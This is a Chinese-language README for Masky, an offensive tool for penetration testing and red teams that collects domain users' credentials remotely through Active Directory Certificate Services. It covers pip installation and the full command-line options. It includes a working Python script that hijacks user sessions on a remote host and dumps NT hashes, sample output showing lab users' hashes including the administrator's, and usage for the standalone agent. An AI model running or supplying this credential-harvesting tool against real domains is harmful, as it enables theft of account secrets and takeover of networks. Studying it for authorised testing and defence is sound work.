Masky 是一个 Python 库,提供了一种通过 ADCS 远程导出域用户凭证的替代方法。在此库基础上构建了一个命令行工具,以便在大范围环境中轻松收集 PFX、NT 哈希和 TGT。
该工具并未利用任何新漏洞,也并非通过转储 LSASS 进程内存来工作。实际上,它仅利用了合法的 Windows 和 Active Directory 功能(令牌模拟、通过 Kerberos 的证书认证以及通过 PKINIT 获取 NT 哈希)。已发布一篇博客文章详细介绍了所实现的技术以及 Masky 的工作原理。
Masky 的源代码在很大程度上基于优秀的 Certify 和 Certipy 工具。衷心感谢它们的作者在针对 ADCS 的 offensive 利用技术方面所做的研究(参见致谢部分)。
Masky Python3 库及其关联的 CLI 可以通过公共 PyPi 仓库简单安装,如下所示:
pip install masky
Masky 代理可执行文件已包含在 PyPi 包中。
此外,如果你需要修改代理,C# 代码可以通过位于 agent/Masky.sln 的 Visual Studio 项目重新编译。编译需要 .NET Framework 4。
Masky 被设计为一个 Python 库。此外,在其之上创建了一个命令行界面,以方便在渗透测试或红队活动中使用。
对于这两种用法,首先需要获取通过 ADCS 部署的 CA 服务器 的 FQDN 及其 CA 名称。这些信息可以通过 certipy find 选项或微软内置的 certutil.exe 工具轻松获取。请确保目标 CA 上启用了默认的 User 模板。
警告:Masky 通过修改现有的 RasAuto 服务在每个目标上部署一个可执行文件。尽管其初始 ImagePath 值会自动回滚,但 Masky 运行时出现意外错误可能会跳过清理阶段。因此,在遇到此类非预期停止时,请不要忘记手动重置原始值。
以下演示展示了 Masky 的基本用法,针对 4 个远程系统。执行后可从 sec.lab 测试域中收集 3 个不同域用户的 NT 哈希、CCACHE 和 PFX。
Masky 还提供了此类工具常用的选项(线程数、认证模式、从文件加载目标等)。
__ __ _
| \/ | __ _ ___| | ___ _
| |\/| |/ _` / __| |/ / | | |
| | | | (_| \__ \ <| |_| |
|_| |_|\__,_|___/_|\_\__, |
v0.0.3 |___/
usage: Masky [-h] [-v] [-ts] [-t THREADS] [-d DOMAIN] [-u USER] [-p PASSWORD] [-k] [-H HASHES] [-dc-ip ip address] -ca CERTIFICATE_AUTHORITY [-nh] [-nt] [-np] [-o OUTPUT]
[targets ...]
positional arguments:
targets 接受 CIDR、主机名和 IP 格式的目标,可从文件加载或直接输入
options:
-h, --help 显示此帮助信息并退出
-v, --verbose 启用调试消息
-ts, --timestamps 为每条日志显示时间戳
-t THREADS, --threads THREADS
线程池大小(最大 15)
Authentication:
-d DOMAIN, --domain DOMAIN
要认证的域名
-u USER, --user USER 用于认证的用户名
-p PASSWORD, --password PASSWORD
用于认证的密码
-k, --kerberos 使用 Kerberos 认证。根据目标参数从 ccache 文件(KRB5CCNAME)中获取凭证。
-H HASHES, --hashes HASHES
用于认证的哈希(LM:NT、:NT 或 :LM)
Connection:
-dc-ip ip address 域控制器的 IP 地址。如果省略,将使用目标参数中指定的域名部分(FQDN)
-ca CERTIFICATE_AUTHORITY, --certificate-authority CERTIFICATE_AUTHORITY
证书颁发机构名称(SERVER\CA_NAME)
Results:
-nh, --no-hash 不请求 NT 哈希
-nt, --no-ccache 不保存 ccache 文件
-np, --no-pfx 不保存 pfx 文件
-o OUTPUT, --output OUTPUT
存储 Masky 结果的本地文件夹路径(如果文件夹不存在则自动创建)
以下是一个使用 Masky 库从远程目标收集运行中域用户会话秘密的简单脚本。
from masky import Masky
from getpass import getpass
def dump_nt_hashes():
# 定义认证参数
ca = "srv-01.sec.lab\sec-SRV-01-CA"
dc_ip = "192.168.23.148"
domain = "sec.lab"
user = "askywalker"
password = getpass()
# 使用这些凭证创建 Masky 实例
m = Masky(ca=ca, user=user, dc_ip=dc_ip, domain=domain, password=password)
# 设置目标并运行 Masky
target = "192.168.23.130"
rslts = m.run(target)
# 检查 Masky 是否成功劫持了至少一个用户会话
# 或者是否发生了意外错误
if not rslts:
return False
# 遍历 MaskyResult 对象以显示劫持的用户并获取其 NT 哈希
print(f"来自主机名的结果: {rslts.hostname}")
for user in rslts.users:
print(f"\t - {user.domain}\{user.name} - {user.nt_hash}")
return True
if __name__ == "__main__":
dump_nt_hashes()
其执行将生成以下输出。
$> python3 .\masky_demo.py
Password:
Results from hostname: SRV-01
- sec\hsolo - 05ff4b2d523bc5c21e195e9851e2b157
- sec\askywalker - 8928e0723012a8471c0084149c4e23b1
- sec\administrator - 4f1c6b554bb79e2ce91e012ffbe6988a
Masky 成功执行后,会返回一个包含 User 对象列表的 MaskyResults 对象。
请查看 masky\lib\results.py 模块以了解这两个类提供的方法和属性。
从 Masky 0.0.5 版本开始,独立的可执行代理现在可以轻松地不通过 Python CLI 运行。
以下是参数:
$> .\Masky.exe /ca:'CA SERVER\CA NAME' (/template:User) (/currentUser) (/output:./output.txt) (/debug:./debug.txt)
与 Python CLI 一样,/ca 参数是必需的。此外,添加了 /currentUser 参数以避免运行令牌模拟。实际上,将基于提供的模板(template)在当前用户上下文中执行简单的证书请求。/output 和 /debug 参数用于指定创建文件的路径。
默认值如下: